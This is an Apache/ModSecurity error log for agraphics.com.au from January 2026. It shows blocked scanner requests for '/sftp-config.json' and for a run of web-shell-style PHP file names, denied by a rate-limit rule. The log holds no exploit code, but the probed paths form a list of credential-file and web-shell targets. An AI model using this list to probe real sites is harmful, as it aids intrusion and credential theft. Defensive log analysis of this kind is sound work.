[Fri Jan 02 13:18:37.210730 2026] [:error] [pid 50186:tid 50191] [client 154.26.129.117:64918] [client 154.26.129.117] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aVdVLVXqK_iX4f-S70IMBwAAAYM"]
[Sat Jan 03 05:42:03.117741 2026] [:error] [pid 1931:tid 2031] [client 176.117.107.172:58982] [client 176.117.107.172] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aVg7qx8Tyw7ZoIdXlcYLpQAAAIc"]
[Sat Jan 03 05:42:04.066606 2026] [:error] [pid 2083:tid 2101] [client 176.117.107.172:58388] [client 176.117.107.172] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aVg7rDVlR_BmlMPnhV7TAwAAANA"]
[Sat Jan 03 06:12:24.309958 2026] [proxy_fcgi:error] [pid 34260:tid 34266] [client 4.241.216.136:54580] AH01071: Got error 'Primary script unknown'
[Sat Jan 03 06:12:24.627812 2026] [proxy_fcgi:error] [pid 34260:tid 34272] [client 4.241.216.136:54580] AH01071: Got error 'Primary script unknown'
[Sat Jan 03 06:12:24.767013 2026] [proxy_fcgi:error] [pid 34260:tid 34269] [client 4.241.216.136:54580] AH01071: Got error 'Primary script unknown'
[Sat Jan 03 06:12:25.190189 2026] [proxy_fcgi:error] [pid 34260:tid 34277] [client 4.241.216.136:54580] AH01071: Got error 'Primary script unknown'
[Sat Jan 03 06:12:25.319207 2026] [proxy_fcgi:error] [pid 34260:tid 34285] [client 4.241.216.136:54580] AH01071: Got error 'Primary script unknown'
[Sat Jan 03 06:12:25.439189 2026] [proxy_fcgi:error] [pid 34260:tid 34263] [client 4.241.216.136:54580] AH01071: Got error 'Primary script unknown'
[Sat Jan 03 06:12:25.665693 2026] [proxy_fcgi:error] [pid 34260:tid 34280] [client 4.241.216.136:54580] AH01071: Got error 'Primary script unknown'
[Sat Jan 03 06:12:25.784399 2026] [proxy_fcgi:error] [pid 34260:tid 34278] [client 4.241.216.136:54580] AH01071: Got error 'Primary script unknown'
[Sat Jan 03 06:12:26.043136 2026] [proxy_fcgi:error] [pid 34260:tid 34271] [client 4.241.216.136:54580] AH01071: Got error 'Primary script unknown'
[Sat Jan 03 06:12:26.160936 2026] [proxy_fcgi:error] [pid 34260:tid 34279] [client 4.241.216.136:54580] AH01071: Got error 'Primary script unknown'
[Sat Jan 03 06:12:26.274539 2026] [:error] [pid 34260:tid 34273] [client 4.241.216.136:54580] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bras.php"] [unique_id "aVhCykWWhyvZ0O9KNVS_jQAAAQs"]
[Sat Jan 03 06:12:28.012619 2026] [:error] [pid 2083:tid 2105] [client 4.241.216.136:54546] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bras.php"] [unique_id "aVhCzDVlR_BmlMPnhV7fXQAAANQ"]
[Sat Jan 03 06:12:29.168602 2026] [:error] [pid 1930:tid 1973] [client 4.241.216.136:54537] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bras.php"] [unique_id "aVhCzZP-6mqhfUDa89zyOAAAAEc"]
[Sat Jan 03 06:12:30.074512 2026] [:error] [pid 1930:tid 1978] [client 4.241.216.136:51949] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bras.php"] [unique_id "aVhCzpP-6mqhfUDa89zyPgAAAEw"]
[Sat Jan 03 06:12:30.483737 2026] [:error] [pid 1930:tid 1975] [client 4.241.216.136:51951] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an8.php"] [unique_id "aVhCzpP-6mqhfUDa89zyQwAAAEk"]
[Sat Jan 03 06:12:32.063166 2026] [:error] [pid 2083:tid 2094] [client 4.241.216.136:15376] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an8.php"] [unique_id "aVhC0DVlR_BmlMPnhV7fZQAAAMk"]
[Sat Jan 03 06:12:33.250704 2026] [:error] [pid 34260:tid 34275] [client 4.241.216.136:51914] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an8.php"] [unique_id "aVhC0UWWhyvZ0O9KNVS_ogAAAQ0"]
[Sat Jan 03 06:12:35.375317 2026] [:error] [pid 34260:tid 34276] [client 4.241.216.136:54591] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an8.php"] [unique_id "aVhC00WWhyvZ0O9KNVS_qwAAAQ4"]
[Sat Jan 03 06:12:36.600767 2026] [:error] [pid 2083:tid 2107] [client 4.241.216.136:54552] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/esp.php"] [unique_id "aVhC1DVlR_BmlMPnhV7fdAAAANY"]
[Sat Jan 03 06:12:37.543173 2026] [:error] [pid 1930:tid 1966] [client 4.241.216.136:51963] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/esp.php"] [unique_id "aVhC1ZP-6mqhfUDa89zyVwAAAEA"]
[Sat Jan 03 06:12:39.816384 2026] [:error] [pid 1930:tid 1976] [client 4.241.216.136:55176] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/esp.php"] [unique_id "aVhC15P-6mqhfUDa89zyWwAAAEo"]
[Sat Jan 03 06:12:41.077244 2026] [:error] [pid 34260:tid 34280] [client 4.241.216.136:16278] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/esp.php"] [unique_id "aVhC2UWWhyvZ0O9KNVS_twAAARI"]
[Sat Jan 03 06:12:42.069321 2026] [:error] [pid 34260:tid 34286] [client 4.241.216.136:54532] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/21x.php"] [unique_id "aVhC2kWWhyvZ0O9KNVS_vAAAARg"]
[Sat Jan 03 06:12:43.181169 2026] [:error] [pid 2083:tid 2098] [client 4.241.216.136:51961] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/21x.php"] [unique_id "aVhC2zVlR_BmlMPnhV7fhQAAAM0"]
[Sat Jan 03 06:12:44.434952 2026] [:error] [pid 34260:tid 34278] [client 4.241.216.136:16264] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/21x.php"] [unique_id "aVhC3EWWhyvZ0O9KNVS_xQAAARA"]
[Sat Jan 03 06:12:45.355434 2026] [:error] [pid 1929:tid 1957] [client 4.241.216.136:55223] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/21x.php"] [unique_id "aVhC3ecFqdpu6TNsuWrm4AAAABM"]
[Sat Jan 03 06:12:47.003620 2026] [:error] [pid 2083:tid 2100] [client 4.241.216.136:51910] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/out.php"] [unique_id "aVhC3zVlR_BmlMPnhV7figAAAM8"]
[Sat Jan 03 06:12:47.482195 2026] [:error] [pid 34260:tid 34272] [client 4.241.216.136:15377] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/out.php"] [unique_id "aVhC30WWhyvZ0O9KNVS_zAAAAQo"]
[Sat Jan 03 06:12:49.025319 2026] [:error] [pid 1929:tid 1943] [client 4.241.216.136:15398] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/out.php"] [unique_id "aVhC4ecFqdpu6TNsuWrm4wAAAAU"]
[Sat Jan 03 06:12:51.336333 2026] [:error] [pid 2083:tid 2097] [client 4.241.216.136:55229] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/out.php"] [unique_id "aVhC4zVlR_BmlMPnhV7fkAAAAMw"]
[Sat Jan 03 06:12:52.420002 2026] [:error] [pid 1929:tid 1956] [client 4.241.216.136:51964] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flower2.php"] [unique_id "aVhC5OcFqdpu6TNsuWrm6AAAABI"]
[Sat Jan 03 06:12:54.324031 2026] [:error] [pid 34260:tid 34271] [client 4.241.216.136:51909] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flower2.php"] [unique_id "aVhC5kWWhyvZ0O9KNVS_1QAAAQk"]
[Sat Jan 03 06:12:56.328411 2026] [:error] [pid 1930:tid 1972] [client 4.241.216.136:16256] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flower2.php"] [unique_id "aVhC6JP-6mqhfUDa89zybQAAAEY"]
[Sat Jan 03 06:12:57.856247 2026] [:error] [pid 2083:tid 2103] [client 4.241.216.136:51936] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flower2.php"] [unique_id "aVhC6TVlR_BmlMPnhV7flwAAANI"]
[Sat Jan 03 06:12:59.816787 2026] [:error] [pid 34260:tid 34263] [client 4.241.216.136:55227] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/family.php"] [unique_id "aVhC60WWhyvZ0O9KNVS_4AAAAQE"]
[Sat Jan 03 06:13:03.003489 2026] [:error] [pid 1929:tid 1958] [client 4.241.216.136:55228] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/family.php"] [unique_id "aVhC7-cFqdpu6TNsuWrm8AAAABQ"]
[Sat Jan 03 06:13:03.787539 2026] [:error] [pid 34260:tid 34268] [client 4.241.216.136:16267] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/family.php"] [unique_id "aVhC70WWhyvZ0O9KNVS_5gAAAQY"]
[Sat Jan 03 06:13:04.659023 2026] [:error] [pid 1929:tid 1938] [client 4.241.216.136:55191] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/family.php"] [unique_id "aVhC8OcFqdpu6TNsuWrm8wAAAAA"]
[Sat Jan 03 06:13:05.606601 2026] [:error] [pid 1929:tid 1954] [client 4.241.216.136:55169] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s1.php"] [unique_id "aVhC8ecFqdpu6TNsuWrm9QAAABA"]
[Sat Jan 03 06:13:09.469966 2026] [:error] [pid 2083:tid 2095] [client 4.241.216.136:15416] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s1.php"] [unique_id "aVhC9TVlR_BmlMPnhV7fqgAAAMo"]
[Sat Jan 03 06:13:10.713048 2026] [:error] [pid 2083:tid 2102] [client 4.241.216.136:44862] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s1.php"] [unique_id "aVhC9jVlR_BmlMPnhV7ftAAAANE"]
[Sat Jan 03 06:13:12.234308 2026] [:error] [pid 1930:tid 1977] [client 4.241.216.136:16289] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s1.php"] [unique_id "aVhC-JP-6mqhfUDa89zyhgAAAEs"]
[Sat Jan 03 06:13:13.657877 2026] [:error] [pid 1931:tid 2044] [client 4.241.216.136:15388] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ma.php"] [unique_id "aVhC-R8Tyw7ZoIdXlcYYnAAAAJQ"]
[Sat Jan 03 06:13:15.936157 2026] [:error] [pid 2083:tid 2099] [client 4.241.216.136:55216] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ma.php"] [unique_id "aVhC-zVlR_BmlMPnhV7fwAAAAM4"]
[Sat Jan 03 06:13:16.579679 2026] [:error] [pid 2083:tid 2091] [client 4.241.216.136:51943] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ma.php"] [unique_id "aVhC_DVlR_BmlMPnhV7fwgAAAMY"]
[Sat Jan 03 06:13:17.333890 2026] [:error] [pid 1929:tid 1954] [client 4.241.216.136:15413] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ma.php"] [unique_id "aVhC_ecFqdpu6TNsuWrnEgAAABA"]
[Sat Jan 03 06:13:20.726215 2026] [:error] [pid 2083:tid 2090] [client 4.241.216.136:55206] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asf.php"] [unique_id "aVhDADVlR_BmlMPnhV7fxQAAAMU"]
[Sat Jan 03 06:13:21.943044 2026] [:error] [pid 1929:tid 1943] [client 4.241.216.136:54536] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asf.php"] [unique_id "aVhDAecFqdpu6TNsuWrnHQAAAAU"]
[Sat Jan 03 06:13:28.246174 2026] [proxy_fcgi:error] [pid 1929:tid 1938] [client 4.241.216.136:55184] AH01071: Got error 'Primary script unknown'
[Sat Jan 03 06:13:28.412732 2026] [proxy_fcgi:error] [pid 1929:tid 1949] [client 4.241.216.136:55184] AH01071: Got error 'Primary script unknown'
[Sat Jan 03 06:13:28.565137 2026] [proxy_fcgi:error] [pid 1929:tid 1946] [client 4.241.216.136:55184] AH01071: Got error 'Primary script unknown'
[Sat Jan 03 06:13:28.721046 2026] [proxy_fcgi:error] [pid 1929:tid 1940] [client 4.241.216.136:55184] AH01071: Got error 'Primary script unknown'
[Sat Jan 03 06:13:28.884134 2026] [proxy_fcgi:error] [pid 1929:tid 1947] [client 4.241.216.136:55184] AH01071: Got error 'Primary script unknown'
[Sat Jan 03 06:13:29.037888 2026] [proxy_fcgi:error] [pid 1929:tid 1951] [client 4.241.216.136:55184] AH01071: Got error 'Primary script unknown'
[Sat Jan 03 06:13:29.676090 2026] [proxy_fcgi:error] [pid 1929:tid 1944] [client 4.241.216.136:55184] AH01071: Got error 'Primary script unknown'
[Sat Jan 03 06:13:29.827206 2026] [proxy_fcgi:error] [pid 1929:tid 1952] [client 4.241.216.136:55184] AH01071: Got error 'Primary script unknown'
[Sat Jan 03 06:13:29.980157 2026] [proxy_fcgi:error] [pid 1929:tid 1943] [client 4.241.216.136:55184] AH01071: Got error 'Primary script unknown'
[Sat Jan 03 06:13:30.148098 2026] [proxy_fcgi:error] [pid 1929:tid 1959] [client 4.241.216.136:55184] AH01071: Got error 'Primary script unknown'
[Sat Jan 03 06:13:30.492356 2026] [proxy_fcgi:error] [pid 1929:tid 1941] [client 4.241.216.136:55184] AH01071: Got error 'Primary script unknown'
[Sat Jan 03 06:13:30.649278 2026] [:error] [pid 1929:tid 1945] [client 4.241.216.136:55184] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ierne.php"] [unique_id "aVhDCucFqdpu6TNsuWrnMQAAAAc"]
[Sat Jan 03 06:13:35.681362 2026] [:error] [pid 1930:tid 1989] [client 4.241.216.136:16305] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ierne.php"] [unique_id "aVhDD5P-6mqhfUDa89zyrAAAAFc"]
[Sat Jan 03 06:13:37.081390 2026] [:error] [pid 34260:tid 34277] [client 4.241.216.136:55205] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ierne.php"] [unique_id "aVhDEUWWhyvZ0O9KNVTAYwAAAQ8"]
[Sat Jan 03 06:13:39.873676 2026] [:error] [pid 1929:tid 1954] [client 4.241.216.136:51920] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ierne.php"] [unique_id "aVhDE-cFqdpu6TNsuWrnSwAAABA"]
[Sat Jan 03 06:13:41.188955 2026] [:error] [pid 1929:tid 1961] [client 4.241.216.136:55190] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xde.php"] [unique_id "aVhDFecFqdpu6TNsuWrnUwAAABc"]
[Sat Jan 03 06:13:43.195538 2026] [:error] [pid 1930:tid 1976] [client 4.241.216.136:51962] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xde.php"] [unique_id "aVhDF5P-6mqhfUDa89zyxAAAAEo"]
[Sat Jan 03 06:13:45.928563 2026] [:error] [pid 1930:tid 1975] [client 4.241.216.136:15375] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xde.php"] [unique_id "aVhDGZP-6mqhfUDa89zyygAAAEk"]
[Sat Jan 03 06:13:47.354000 2026] [:error] [pid 1931:tid 2044] [client 4.241.216.136:54538] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xde.php"] [unique_id "aVhDGx8Tyw7ZoIdXlcYY1gAAAJQ"]
[Sat Jan 03 06:13:48.618341 2026] [:error] [pid 1931:tid 2037] [client 4.241.216.136:51907] [client 4.241.216.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1yade.php"] [unique_id "aVhDHB8Tyw7ZoIdXlcYY2gAAAI0"]
